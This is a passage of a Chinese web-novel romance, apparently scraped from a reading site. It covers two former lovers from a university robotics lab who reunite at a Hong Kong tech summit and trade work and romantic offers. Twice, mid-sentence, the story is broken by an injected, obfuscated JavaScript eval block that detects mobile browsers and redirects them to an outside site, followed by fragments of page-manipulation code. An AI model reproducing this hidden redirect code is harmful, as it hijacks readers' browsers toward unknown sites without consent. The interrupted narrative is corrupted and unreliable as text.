舒枕山觉得很愧疚,他忽略了冉步月太久。明明不爱吃饭、作息不规律和身材过瘦是冉步月早已存在的问题。 谈了这么久恋爱,他们对彼此好像还是了解得不多。 他们甚至不像普通情侣那样做普通的爱,他们连上床都要和项目挂钩,晕倒前一秒还要说方案听我的。 那时舒枕山想,这也没关系,他们大抵是那种非常规情侣,需要花很长时间慢慢了解彼此,慢慢去做那些普通情侣会做的、无聊的、消磨时间的小事。 舒枕山还想,反正他们还有很长的人生,可以先实现理想,再消磨时间,他们还有一辈子。 但他们那时都不知道,留给他们共同的时间,已经所剩无几。 没过多久,从国内传来一些消息,说舒家的砚川集团陷入了前所未有的危机,资金周转不利,创始人病危,集团内部斗争激烈,无人可以有效主持局面,企业危在旦夕。 舒枕山从新闻上看到消息的时候,心理波动不太大。他一直有关注砚川的动向,他们冒进的扩张策略显然太危险,舒枕山知道迟早会有这么一天。 既然父亲早早放弃了他,舒枕山觉得自己也没有以德报怨的必要,他可以在大洋彼岸翘起二郎腿,悠闲地隔岸观火。 然而有一天,冉步月突然变得有些反常。 那时的冉步月被舒枕山成功喂到了60公斤,肋骨不那么硌手,该有肉的地方也更圆润了些,手感口感都很好,舒枕山回寝室一有空就要抱他。 那天舒枕山像往常一样去亲他,却被冉步月躲开了。他的眼神里似乎有恐惧和厌恶,但舒枕山不敢相信,他宁愿相信是自己看错了。 完全是下意识的反应,让舒枕山心里一下凉了。 怎么了?舒枕山问。 冉步月盯着他,看了很久,才慢慢放松紧张的身体,任由舒枕山把他搂进怀里。 “你是砚川集团创始人的长孙?”冉步月突然没头没尾地问。 舒枕山说“是”,又问:“怎么了?”他以为这早就是公开的信息。 冉步月发呆了一会儿,轻声说“没什么”。 舒枕山知道不会“没什么”,但冉步月不想说,他也不愿逼他讲。 然而变化还是真实地发生了。舒枕山能敏锐地感受到,冉步月在微妙地疏远自己。他们还会接吻,还会做/爱,但两人对视,冉步月的眼神总是有些戒备,很复杂。 舒枕山想了想,第一次在实验室外逮到冉步月偷用3D打印机时,冉步月就是这种姿态,像只小刺猬。 这样近乎冷战的态度太折磨人,舒枕山渐渐的也有些火大,他不是没有脾气。 于是舒枕山做饭故意不放姜,只放土豆、排骨和鸡腿,削成姜的样子,迷惑性很强。 冉步月呆在机器人实验室的时间越来越少,似乎是在故意躲开舒枕山。那天他行色匆匆拿着电脑就走,被舒枕山眼疾手快堵到自动售货机的角落里。 舒枕山冷着声音跟他说,冉步月,你有事就说,别整天给我摆脸。 冉步月抬起脸,表情也很倔强,眼睛却通红。 舒枕山从来没见过他这种样子,瞬间感到心酸。冉步月看起来很伤心,什么事让他这么伤心?这些天他肯定又没好好吃饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15229609|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “舒枕山。”冉步月声音很轻,好像在请求。“能不能让我自己想想,我想好了再跟你说。” 他很少在清醒的时候喊舒枕山大名,于是舒枕山决定再宽恕他一次。 舒枕山始终记得冉步月问他是不是砚川集团长孙的事情,但想来想去也不明白,这和冉步月有什么关系?舒枕山这么多年都在国外,而冉步月一直在国内,他们的生命在此前是两条平行线。 这是第二次,舒枕山觉得他们还有时间。 就在他们俩的关系终于缓和了一些的时候,舒枕山见到了一个不速之客——他二伯的儿子。 他带来了一把枪,和一个残忍的真相。 这两样东西让舒枕山决定回国,他要获得集团的控制权。 即使再让他回去选一次,他还是不得不这么选。 舒枕山那段时间每天都非常忙,很少出现在实验室,也很少回寝室。但即使再忙,只要他人在波士顿,他还是会做好三餐饭,把土豆、排骨和鸡腿都换成姜,请人护送到冉步月手里。 也不知道他吃了没有。 一切事情都发生得太快,在事情朝着无可挽回的方向发展的那个转折点起,舒枕山心里隐隐明白,他和冉步月正在走向两条岔路,这让他非常焦虑。 在冉步月仍然日夜泡实验室,一遍又一遍地测试传感器精度,矫正机器人表现的时候,舒枕山在全球各地飞,和数不清的人吃饭、聊天、获取信息和信任,他需要尽快织出一张网,才能尽快将他要的东西尽快掌控到手里。 在为数不多回学校的日子,两人一见面,互相聊两句就容易吵起来。 冉步月问,你就非要回去继承公司?公司没了你不能转? 舒枕山说,从现在来看,确实如此。 冉步月:我们的原型机很快就能做好,你能不能至少等到做完这个项目再回去? 舒枕山:说实话,这个原型机离商业化还有很远的距离,从市场的角度来说,它就是一个异想天开的东西,价值为零。 冉步月瞪大眼:……它是我们亲手用一个个芯片和线圈搭起来的,你说它一文不值?! 舒枕山冷静道:只是从市场的角度来说。 冉步月被激怒了,指着远处吼:“价值,你满口只有价值!滚吧,滚去做你的大老板!你们都一个样。” 舒枕山皱眉:“说清楚,你说我和谁一个样?” 冉步月冷冷地说:“还能有谁?你应该比我清楚吧,舒大少爷。” 这话莫名点炸了舒枕山,控制欲一下子冲上来:“我不知道你说的谁,你说清楚。还有你之前瞒着我的是什么事,都给我说清楚!” 冉步月扯出笑容:“那只是一件非常不值一提的小事,就让它过去吧。” “我今晚出去睡。你早点休息。”冉步月推开舒枕山想走,没推动。 舒枕山结结实实地挡在冉步月面前,把他圈禁在卧室墙角,像头发怒的狮子,无论冉步月怎么挣扎喊叫,他都不肯放他走。 冉步月挣得满头是汗,实在太狼狈了。他陡然浑身泄气,变得很疲倦,长长呼出一口气:“舒枕山……让我走吧。” 舒枕山猛然被刺痛,未经思考已经脱口而出:“但是我爱你。” 两人都怔住了,愣愣地对视。 居然是在快要结束的时候,才有人说出第一句“我爱你”。 普通情侣用来表白的句子,在他们这里却成了绝望的挽留。 于是连“我爱你”的意义都变得不纯粹。 那也是冉步月这辈子唯一一次听人跟他说“我爱你”,却是在那样一个日暮黄昏的悲剧时刻。 冉步月坐在台下最后一排的角落,面色苍白地看着台上,舒枕山在掌声中登场,笑着和大家挥手。 他完全没想到会在科技峰会看到舒枕山。 本来冉步月只是想来科技峰会随便逛逛,看看有没有人傻钱多的甲方可以宰,顺便来香港和好久没见的朋友吃顿饭。 看大家都往这个厅里挤,李曜便也拉着他坐了过来。一看会议议程,才发现发言人是砚川科技舒枕山。 砚川科技?冉步月不想去查,他知道,这应该就是在自己忙着弄工作室时新成立的集团分公司。 舒枕山选择了典型的科技领袖装扮,摒弃了繁复的西服,身穿简单的黑色短袖、牛仔裤、板鞋,年轻帅气,跟刚毕业的院草似的。 松弛、从容、掩着嚣张的自信,和冉步月记忆中的学长重合到一起,让他眼前有些模糊。 旁边的李曜微微倾身,小声跟冉步月说:“确实是男模。” 冉步月提了下嘴角,没回话,专注地看着台上。 舒枕山先做了个风趣简短的自我介绍:“大家一定都很好奇,为什么这个卖房子的人会站在科技峰会的舞台上,他是不是路痴,走错路了?” 台下笑起来,舒枕山微笑着等大家安静下来。 本以为舒枕山会继续采用这种轻松幽默、舌灿莲花的商人风格,没想到他直击重点,甩手扔下一颗重磅炸弹:“因为我们要做机器人。” 大屏幕配合他的话语,像拉开一张帷幕,露出一个简洁而富有冲击力的单词:Robots. 全场又是一阵骚动,李曜也惊讶地“哇”了出来。 冉步月没有发出任何声音,眼睛死死地盯着台上,手指关节攥得发白,打着细颤。 屏幕翻到下一页,再次出人意料的,舒枕山没有讲那些商人钟爱的市场概览、盈利模式、商业目标、竞争者等等,而是直接摆出了三个3D模型。 舒枕山说:“这是现在市场上最先进的三种通用模型,已知技术缺陷约有20处,会对实际使用产生不可忽略的影响。” 接着,他翻到下一页,摆出三个新的模型:“而我们的模型,可以提高30%精确度,解决至少7处重大缺陷,预计能将普及到家庭的速度从预计的10年缩短到3年。” 舒枕山紧接着深入讨论了更多技术面的东西,深入浅出,流畅精确,展现的完全是一个成熟的高级工程师形象。全场变得很安静,李曜也收起玩笑的表情,听得非常入神。 冉步月有些恍惚,好像回到了大学,回到了他们在实验室的日日夜夜。 舒枕山微笑扫视全场:“但这些都还只是我们的构想,我们将持续与著名教授、科研团队、以及极为出色的工业设计师进行合作……” “工业设计师”几个字让冉步月心头一跳,突然,隔着茫茫听众,他和台上的舒枕山对上了目光。 自信流畅的舒总突然卡了壳:“……进、进行产品的研究与开发。” 冉步月冷漠地撇开目光,心中腾起汹汹怒火。 以前口口声声说“一文不值”的商人,转头做起了机器人。不跟自己说,不邀请自己来现场,还要和不知道哪里来的“出色”设计师合作。 好吧……冉步月垂下睫毛,他有些难过。 18.合作or同床 舒枕山讲完最后一句话,全场响起掌声。 不全是赞美,也有竞争者的鼓掌,像拉开序幕的战鼓。 会间茶歇开始,有小份量甜品提供,精明的成年人们已经不像大学的时候急着抢吃的,而是急着抢大佬。 与会者中不乏大型科技公司高管或潜力巨大的独角兽创始人,世界熠熠生辉的未来就掌握在他们手中。而其中最特别的,自然是跨界跨得十万八千里的舒枕山。 这是个在商界如雷贯耳的名字,但没人想到他会亲身入局科技领域,而非投资或并购。这时大家才想起他的履历,M大工程系几乎满绩的GPA毕业,能深入浅出地把专业问题解释得那么好便也不奇怪了。 亦无人料到,这种等级的大佬居然留到了茶歇,所有人都以为他演讲完就会走的。 舒枕山站在角落的高桌边喝茶。 起初没人敢突兀上前,后来有个人大着胆子上去攀谈,舒枕山没有展现出热情的样子,却也没有表示不悦,于是很快男人身边就围了一小圈人。 “你不去找舒总聊聊吗?”李曜问,“他在招设计师呢。” 冉步月不答,拿起一块小蛋糕。 李曜语气带着点遗憾:“不过听舒总话里的意思,人选他已经定了。” 冉步月咬了一小口蛋糕,眉头微皱。 好难吃。 不远处,一个年轻人挤进人群,激动地向舒枕山表达了他对砚川机器人项目的欣赏和共鸣,并大胆又谦逊地递上简历:“舒先生,我是一名独立工业设计师,得过几个国际小奖,非常渴望可以加入您的团队,希望您能给我一个机会!” 冉步月顿时有些恍惚,他好像从年轻人充满热情的眼中看到了以前的自己。 “哇。”李曜发出看热闹的声音,八卦地问:“阿冉,你猜舒总会不会接他的简历?” 冉步月:“他会。” “那他会不会认真看?” 冉步月绷紧了拳:“……他会。” 和冉步月猜测的一样,舒枕山微笑着从年轻人手中接过纸页,认真地阅读了一会儿,才递给身边的助理。 李曜小声来了句“精彩”,又问冉步月:“那你觉得……他的成功率有几成?” 冉步月呼吸重了一些,好像在忍耐什么。他反问:“曜总觉得呢?” 李曜:“唔,至少他成功的概率会比别人更高——因为勇敢的人总能多获得一些机会。” 冉步月突然短促地笑了一声,像冷淡的讽刺。 曾几何时,舒枕山也说过这样的话,然后又用亲身行动打碎了它。 那时冉步月的状态很不好,得知舒枕山砚川集团大公子的身份让他心力交瘁。 此前冉步月早知舒枕山出身不凡,与他天差地别。但或许是与舒枕山过早交心,冉步月更倾向于通过与舒枕山本人的交流来认识他,而非通过其他人口中天花乱坠的传言。至于舒枕山到底是哪家公司的哪位公子,冉步月不在乎,或者说是他在下意识回避。因为冉步月自私地想,舒枕山如果来自一个平凡的家庭会更好。 如果舒枕山来自于任何一个别的家族企业都会好一些,而舒枕山不偏不倚就是砚川的大公子,这让冉步月难以接受。 那段时间他几乎没法目视舒枕山,但同时冉步月也清楚,舒枕山没有做错什么事,冉步月不打算为他增添不必要的心理负担,于是选择了自我消化,他只是需要时间。 他的异样被舒枕山敏锐地捕捉到,冉步月还没做好准备像往常一样面对他,两人关系进入僵持。好在舒枕山善解人意地没有追问,给他时间也给他空间。 就在冉步月觉得他调整得差不多了的时候,舒枕山突然宣布了他要退出机器人社团的决定。 那时正值高校机器人大赛前夕,实验室里人人斗志昂扬,士气高涨。就在一轮普通的学术争吵后,大家如常转向舒主席寻求建议,舒枕山也如常地给出了建议,末了加了句:“我没办法和你们一起去比赛了,我…深感抱歉。” 语气平常,好像在说晚上吃什么菜。 所有人都没把他这句话当回事,骂他冷笑话的水平太低,直到舒枕山又无奈地说了一遍,大家才安静下来,震惊地看着他。 舒枕山花了半小时让所有人相信他确实要退出团队了,实验室顿时变成了一只快要爆炸的高压锅,所有人义愤填膺地围住舒枕山一顿狂爆群殴,只有冉步月一直愣愣地站在最外圈,看上去他是最冷静的那个,但其实是因为他始终无法相信,灵魂处在游离的状态。 当天晚上两人一路沉默,空气像一张紧绷的弓,酝酿着风暴。他们回到家里——他们在学校旁边租了房子,刚打开门,一颗毛茸茸的小炮弹欢快地冲出来,摇着短短的尾巴,拿鼻子用力蹭蹭冉步月,又舔舔舒枕山。 沉闷的氛围被小奶狗的“汪汪”声打破,冉步月一下子笑了,弯腰把毛线小猪似的阿拉斯加幼崽抱起来,搂在怀里晃啊晃:“宝宝呀,芝麻宝宝。” 舒枕山也笑着逗它,手指被小狗舔得湿漉漉的。芝麻睁着水汪汪的圆眼睛看看冉步月,又看看舒枕山,小狗不知道爸爸妈妈为什么今天话那么少,只知道他们都爱自己,让它很开心。 在舒枕山做晚饭的时候,冉步月问:“你已经决定好了?” 舒枕山“嗯”了一声,把红酒炖牛肉开到小火,伴随着温馨的咕嘟声,他靠在岛台边,说对不起,这个消息很突然。 他接着解释,因为公司出了些问题,他要回去接手。 冉步月根据网上搜索到的信息提问:“现在砚川不是有你二叔坐镇吗?他生病了?” 舒枕山:“没有。” 冉步月:“那你为什么急着回去?” 舒枕山静静地说:“因为那个位子本该是我的。” 眼前的舒枕山让冉步月感到很陌生,年轻冷静的眼眸中藏着浓郁的野心,好像被族群流放许久的幼狼终于长大,酝酿一场翻天覆地的复仇,令冉步月猝然心惊。 他从未如此清晰地意识到,舒枕山是商业巨头的孩子,和普通人终究是不一样的。 冉步月觉得他们两人之间的地面裂开一条长长的缝,越裂越深,两人站在原地,却被地缝送得越来越远,最终站在了悬崖两岸。 舒枕山向前一步,慢慢将冉步月揽进自己怀里,低声下气地求他:“小蛇,你能不能等等我。” ——小蛇,舒枕山偶尔会在亲密的时候这样叫冉步月,因为他觉得冉步月很像蛇,漂亮,危险,不自觉的诱人,但其实很呆萌,尾巴缠上来要杀死人的狠劲,其实是在撒娇。 冉步月声音有些发冷:“等你什么?” “等我能调度更多资源的时候,我可以给你建实验室,组团队,不是学校里这种过家家,是真的可以落地的生产单位——我需要几年时间。” 冉步月难以置信:“过家家?” 舒枕山正色道:“难道不是?我们只是一个学生社团,没有稳定的投资、技术背书,大家也只是因为兴趣,在课余时间聚在一起拼拼’乐高’,你以为那个学生机器人大赛真的有多少含金量?在投资人眼里完全不够看的。学校给我们提供的设备都是几年前的旧型号,和波士顿、硅谷那些大公司的实际水平差得远。” 冉步月张了张嘴,没发出声音。 因为在学校里看见的一切,已经是他认知的顶峰,而舒枕山站在更加高不可攀的地方,轻飘飘地做出审判。 舒枕山沉稳的声音带着残忍:“真正的技术突破大多是钱堆出来,没有市场需求,没有投资人烧钱,实验室怎么运转?仅靠理想是没用的。” 冉步月咬了咬牙:“我们也可以自己拉投资。” 舒枕山笑了:“用什么从投资人口袋里掏钱?用那只关节都无法自由伸展的蜘蛛手吗?” 好像一个巴掌扇在脸上,冉步月火辣辣的疼。 “我没有说小蛛不好的意思。”舒枕山慌了,“它现在还只是一个幼崽,不成熟,但这都是探索的必经阶段,它总有长大的一天。养孩子都那么费钱呢,何况造一个钢铁小孩。” 冉步月:“小蛛?你取名真的很没创意。” 舒枕山也不反驳:“小蛛需要最新的晶圆芯片传感器等等,就当他爸去赚奶粉钱了。” 不知道舒枕山讲这句话的时候有多少安抚的成份,奶粉钱不是那么好赚的。 后来的许多日子,冉步月越来越少在学校和家里见到舒枕山,回到家只有芝麻欢快地扑过来,冉步月就独自喂狗遛狗,尽管舒枕山安排的佣人已经在白天将一切打理好了。 冉步月对独自生活没有任何怨言,他本来也不是粘人的类型,只是他发现这和他的心理预期仍有偏差。 舒枕山每天去见的人大多来自好莱坞,影视制作人、导演、电影投资人,也常飞回国内应酬,搭建关系网,像大蜘蛛无声地划定自己的势力区域。 但这些,都离枯燥杂乱的实验室太遥远了。 本来冉步月和舒枕山早就约好跟一个教授见面,聊聊他们的“小蛛”。 这个教授很厉害,也很难约,所以冉步月相当重视,提前一个月就订好了位置。 然而那天晚上,冉步月和教授边聊天边等了舒枕山一个小时,他始终没有现身。 最后冉步月抱歉地笑笑,和教授说抱歉,我们先开始吧,不用等他了。 其实这句话也是冉步月对自己说的——不用等他了。 他们确实站在悬崖两岸。 而这样一个先放弃了机器人理想的人,却带着他新注册的公司和精心准备的演讲闪亮登场,万众瞩目,舒枕山怎么有脸? 舒枕山还是和以前一样,消息直接公开,不会提前和冉步月讲。冉步月以前没有提前知晓的特权,现在更不可能有。 所以不论是舒枕山进军机器人届,抑或他会在峰会上演讲的消息,再或是他要招首席设计师的计划,冉步月通通没有听到任何风声。他的优先级和无关群众是一样的。 舒枕山仍被围在人群中央,鹤立鸡群。 冉步月不想再看他一眼,转身走了。 他一走,李曜也跟着走了。 两人在会场里闲逛了一阵,冉步月觉得索然无味。 “都没什么意思。”李曜说,毫无转折地问,“阿冉,你晚上有什么安排?” 冉步月:“有约了。” “那明天呢?”李曜笑着问,“我对香港还是挺熟的,可以带你随便转转,坐船爬山逛展览,免费导游。” 这话就有点太明显了,冉步月敷衍地笑了笑:“曜总最近这么有闲情逸致?” 李曜:“你难得来香港嘛。” 正好路过洗手间,冉步月仿佛找到救星,指了指里面:“抱歉,我想去一下,要不我们回见?” 李曜仿佛听不懂他的意思,跟了进去:“正好我也内急。” “……” 会场的洗手间挺高级,都是低调奢华的大理石隔间,倒是避免了尴尬。可惜隔间全是空的,没有其他人,堵不住李曜讲话。 冉步月飞快地洗手,李曜站到他旁边,较为昏暗的灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15243726|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光将气氛变得更糟糕了些,果不其然,他开口了。 “只是散散心。阿冉,你真不愿赏脸?” 冉步月从镜子里看到,李曜一丝不苟的衬衫不知什么时候解开了两颗,一根项链坠在胸肌的浅沟中间。 “……”冉步月将目光移到李曜脸上,从镜中打量他,挑了挑眉,“真的只是散心?” 李曜哈哈笑了:“非要我说那么清楚?阿冉,你挺坏啊……” “不过我喜欢坏的。” 这是打了明牌。 冉步月抽了纸巾,慢条斯理地擦拭每一根手指,问:“曜总,你说之后我们有可能合作,这话还作数吗?” “当然作数,我的项目很多。”李曜尾音微微上扬,磁性很强,“这两件事也不影响什么,咱们白天公司见完,晚上家里再见,不好吗?” “有点可惜。”冉步月说,“我不和有工作关系的人上床。” 李曜怡然自若:“我和那些人不一样,我分得很清,下了床该怎样怎样,绝不纠缠你,也不会让你尴尬。” 冉步月摇了摇头:“抱歉,这是我的底线。” 李曜眯眼笑了:“所以阿冉是在逼我二选一?” 上床,或者,合作的可能性。 冉步月做了个请便的动作。 “你真是……”李曜话音未落,手机突兀地响起来,他不耐烦地接起电话听了几句,脸色稍变。 “我就来。”李曜脸色严肃,无声地对冉步月做了个“对不起”的口型,大步流星地匆匆离开了。 沉重的门扉合拢,冉步月长长舒了口气,拧开水龙头,伏身洗脸。 满脸水珠地抬起头,镜中映出男人高大的身影,安静地立在冉步月身侧。 是舒枕山。 冉步月心跳一停,险些没控制住表情。 “舒总。”冉步月嘲讽一笑,“偷听别人讲话,太失礼了吧。” “站在贵宾室门口谈论这种话题难道很礼貌吗?” 舒枕山指了指侧边暗色大理石走廊深处,有一扇不明显的深色的门,旁边挂着一个金属磁卡器。 “……” 连厕所都分等级,这个世界没救了。 冉步月轻飘飘地问:“我们讲什么话题了?跟舒总有关系吗。” 舒枕山没有回答,突然问:“你觉得我今天讲的怎么样?” 冉步月愣了下,他没想到舒枕山会这么直白,他以为他们就会像之前很多次一样,客套地打招呼,装模作样地做陌生人。 于是冉步月也不想装了,刚被摁下去的情绪一股脑地燃上来,语气里嘲讽意味很浓:“舒枕山,原来你还记得机器人原理呢?我以为你早就只会数钱了。” 舒枕山静静地看着他,眼神里藏着很多无法言说的东西。 “你想从我这里听到什么评价?哇,舒总今天讲得好好,太厉害啦。这样吗?——你当年可不是这么说的吧?你说我们做的东西一文不值,没有投资人看得上,你亲手放弃了我们一起做的东西,丢下整个团队——你当时滚得那么利落,现在又滚回来做什么?!!” 冉步月越讲声音越大,情绪有点收不住,最后几乎是吼出来的。吼完,眼睛都红了。 能言善辩的舒总足有半分钟没讲出一个字,他向前半步,手抬起来了一点,指尖控制不住地细微颤抖,好像想抱。 冉步月压根没注意到他的动作,冷哼一声:“你要做机器人,要演讲,通通不跟我说。你不是已经找好设计师了吗?回去加班吧。” “你不和有工作关系的人上床?”舒枕山问。 冉步月惊讶地看着他,没想到舒枕山被骂一通说的第一句话是这个。 舒枕山又向前半步,几乎把人逼到洗手台的死角,语气却很温柔:“你是不是还没查邮箱?” 冉步月:“?” 舒枕山:“拿出来看看。” 冉步月下意识跟着他说的做,掏出手机,看到推送消息。 最新一封邮件来自砚川科技,收信时间是舒枕山演讲开始的时间点。 点开,“合作邀请”几个大字映入眼帘,一目十行地看完,措辞过分恭敬,中心思想就一句话: 阿冉,合作。求你。 还有一份长达三十页的附件。 冉步月手有点抖。 “回去慢慢看。”舒枕山冷静地说,“好好考虑一下。” 冉步月咔地一下锁屏,问:“你想要我答应吗?” 舒枕山喉结滚了一下,灯光显得他五官更立体,眼窝和鼻梁都投下清晰的阴影,声音听起来却很模糊:“各有利弊。你答应的话,我可以拥有最出色的工业设计师;你拒绝的话,我们可以再续前缘。” “我不是说了吗,我不和合作伙伴上床。” 冉步月撑着洗手台,轻巧地坐到干净的大理石台边,两条腿放松地摇摆,像个顽皮的坏小孩。 “如果我不以合作伙伴的身份问呢?” 舒枕山终于完全走近,站到冉步月分开的双腿中间,两条修长有力的手臂撑在他的大腿边。 两个人像某种鲁班锁一样亲密地嵌套着,却又谁也不挨着谁,界限分明。 “你还有什么身份?”冉步月疑惑地歪头。 “前男友。”舒枕山理直气壮的语气好像在说“我是国王”,“前男友有没有特殊通道?” 舒枕山几乎咬着冉步月的耳朵在讲话,低沉的声音有些轻佻,一字字撞击着鼓膜,“我肯定比刚刚那个连衣服都穿不好的男人更能让你爽。” 19.快点选我 他们靠得太近了,两个人都想从对方满不在乎的表情里看出破绽,却又一无所获。 冉步月微微挑起一侧的眉:“舒总想约我?” 舒枕山:“怎么,冉总监行程很满?” “再忙哪有大总裁忙啊。”冉步月揶揄道。 舒枕山好似听不懂他的意思,答道:“是挺忙的,多了一个公司要管。” 顺势话题一转:“所以你打算考虑多久?” “舒总这么急。” 冉步月伸出一根食指抵住舒枕山胸膛,隔着薄薄的衣料触到厚实温热的胸肌。 舒枕山呼吸突然变重,语气还是很冷淡:“时机不等人。如果你拒绝,我还有很多备选。” 也不知道说的是备选设计师,还是备选炮友。 “嗯,我知道。”冉步月指尖轻轻施力,往前推。“我需要时间考虑。” 舒枕山顺从着冉步月的力度,往后退了半步、又半步,两人之间的距离慢慢拉远。 “想好了就回邮件。”舒枕山说。 “再说。”冉步月从洗手台边跳了下来,往门口走。 舒枕山长腿一迈,倚住门框,若无其事地占据了大半通道,随口问:“明天中午,你约好了跟我当面道歉的,还记得吗?” 又加了句:“你助理应该问过你了。” “哦……好像是有这么回事。”冉步月点点头,“那明天见。” 两人安静地僵持了半分钟,舒枕山好像终于意识到自己挡了别人的路,于是像自动门一样缓缓平移。冉步月越过他走了出去。 冉步月似乎很不想停留,倏地消失在门后。 他长发扬起的弧度,和厚重的门缓缓合拢的样子,成为舒枕山视野里最后的慢镜头,像只蝴蝶从指缝间飞走,只留下细闪绚丽的翅粉。 空气恢复寂静,舒枕山面朝镜子,盯着刚刚被冉步月指尖顶着的地方,正在心口上方半寸处。 直径一厘米的圆形范围的皮肤仍有清晰的灼烧感,为什么没有留下痕迹?刚才似乎不是被人摸了,而是被一颗子弹洞穿了胸腔,理应留下弹孔,至少可以用作纪念。 冉步月稳步走过长长的走廊,确定舒枕山没有跟上来,方才长长舒了口气,像终于呼吸到氧气的溺水者。 心跳得很快。 舒枕山突然给他发了两个邀请,信息密度太大,让冉步月一时难以消化。 工作邀请算是合衬心意,另一个就让人有点不爽。 居然约炮约到了前男友这儿,估计舒总各种燕环肥瘦吃腻了,想找点刺激。 死男人。冉步月暗骂。 会场里早已不见李曜的踪影,大概有事忙去了。 一看时间也快晚上了,冉步月打电话给田小喆放了他的假,收拾收拾打算赴晚上的约。 冉步月要见的人叫詹予然,香港人,是他在大学时期认识的朋友。 得知冉步月要回国的计划,詹予然老早就喊着要给他接风洗尘。正巧冉步月来香港参加展会,詹予然最近也没在什么鸟不拉屎的地方窝着拍戏,两人爽快地约了饭。 詹予然神神秘秘地跟冉步月说,今天这里的菜绝对合你胃口。 见他不需要任何打扮,穿着拖鞋大裤衩就能去,但詹予然今天订的地方很厉害,光有钱也订不到,所以还是不好穿得太随意。 到了地方,早有侍者在门口恭候。冉步月跟着他上楼,不知道这狭窄逼仄的弹丸之地怎么如此别有洞天,曲径弯曲,小桥流水,花叶掩映,云蒸雾绕,这室内会所整得跟仙境似的。 私密性很好,一路上都没碰到什么人,估计每个雅间都有单独的通道。 侍者打开雅间门,垂眸站到一旁,冉步月快步而入,坐在里面的男人站起来迎他。 冉步月喊他然然,詹予然喊他冉冉,两个人忍不住笑骂对方肉麻,接着拥抱在一起。 好朋友见面总是有聊不完的话,尤其是他们这种平时都很忙的职业,加上天南地北的地理位置,说起来更是没完。 冉步月认识他是在很特殊的时间点,正好在他和舒枕山分手之后。 那时舒枕山已经毕业回国了,在地球另一端的名利场里厮杀,争权夺位。冉步月又变成了孤身一人。 实验室的朋友们其实都很好,唯一知道内情的艾子兰也天天拉着冉步月一起吃饭,跟他一起骂舒枕山那个负心汉,但冉步月始终没法提起精神回到实验室,因为那里承载了太多他们的回忆,冉步月会轻易从任何一个队员身上回想起舒枕山的影子。 冉步月不再那么频繁地去实验室,查尔斯河畔的长椅变成了他的栖息地,冉步月常常窝在长椅上晒太阳,膝上放着画板,用碳素笔勾勒产品设计图,一画就是一整个下午。 有天下午,一个人坐到冉步月身边,问他,有没有兴趣为电影做工业设计? 冉步月转头,看见一个俊美的中国男人,肤如白玉,鼻梁上架着一副眼镜,书卷气息很浓,像民国低调儒雅的翩翩公子,让人下意识心生亲近。 他说自己叫詹予然,是一个导演,想拍一部科幻公路片,里面很多星际通讯工具、建筑物、武器之类的需要工业设计师进行设计。他是来M大媒体研究做交流的,连着两天看到冉步月,猜测他会对这个项目感兴趣。 事实证明詹予然看人很准,为科幻电影做设计,这正是现在的冉步月需要的——不用考虑客户、投资、商业模式,也不用考虑蜘蛛手的关节到底能不能自由伸展,他可以天马行空,将文字性的概念落实成影像。 那时詹予然只是个小导演,也没什么钱,冉步月却觉得和他工作很快乐。詹予然是个情绪很稳定的人,像涓涓细流,温和舒服,偶尔来一两句冷幽默,和他相处很有意思。 因为詹予然身上有种可靠的、亲和的兄长的气质,从不轻易吐露心声的冉步月和他说了自己分手的事,詹予然也不多问细节,短短几句话开导得冉步月放下了不少。 冉步月也因此确定,詹予然虽然年纪轻轻,生活阅历却很广,有种豁达的智慧。 后来冉步月慢慢知道了,难怪詹予然身上家兄气质浓厚,因为他确实有个弟弟,詹予然一手把他拉扯大的。 有次詹予然跟他闲聊,开玩笑地问要不要给你介绍几个姑娘,试着move on? 冉步月发他一个笑脸,说哥,不好意思,我喜欢的是男人。都怪我们一直用中文聊天,他她不分,我前任是前男友来着。 詹予然发出几个省略号,像一串鱼泡泡。 他说sorry,我是直男,没往那方面想,应该提前找你问清楚的。 男的我就不给你介绍了吧,我没见过几个好男人——喔,你除外。 “试试,我找主厨订的菜单。”詹予然指着冉步月面前的盘子,一脸期待地看着他。 食物非常漂亮,像一枚金色的月球。冉步月咬下一口,口感如丝绸般细腻,醇香缠绕唇齿,全数咽下后,浓郁的姜味才在味蕾上显现,长久留香。 “好吃吗?”詹予然问。 冉步月眯着眼:“好吃!” 詹予然很欣慰:“多吃点。我特意让主厨研究的。” 然后詹予然就让侍者把剩下十份都上上来,头次见有人吃分子料理跟批发烤串似的。 两人边吃边聊,时间过得很快。 詹予然指了指腕表:“时间还早,我们十一点半之前走就行了。” “这里还限制用餐时间?”冉步月有些吃惊。 詹予然摇摇头,声音沉了些:“等深夜,这里就要变样了——有钱人爱玩的那些,你知道的。” 冉步月这些年也见得多,自然知道大概指哪些内容。像这种顶级私人会所,玩什么的都有,保密性很高。 “当然。”詹予然笑笑,“如果你想找几个夜抛帅哥还是可以的,这里质量有保障。这么多年也没见你再谈,move on了没?” 冉步月还没来得及跟他说回国后和前男友重逢的事情,但思及詹大导演很可能和舒大总裁认识,冉步月便多花了点时间组织语言,斟酌着怎么开口。 詹予然正托腮等着听故事,他桌上的手机突然疯狂震动起来。 来电显示一个字“弟”,詹予然瞥了眼,脸色一冷,抬手利落地挂了。 “故事呢?”詹予然笑盈盈地托腮。 冉步月:“哎,就是......” 詹予然的手机又响起来了,还是一个字“弟”。詹予然看都不看,又挂了。 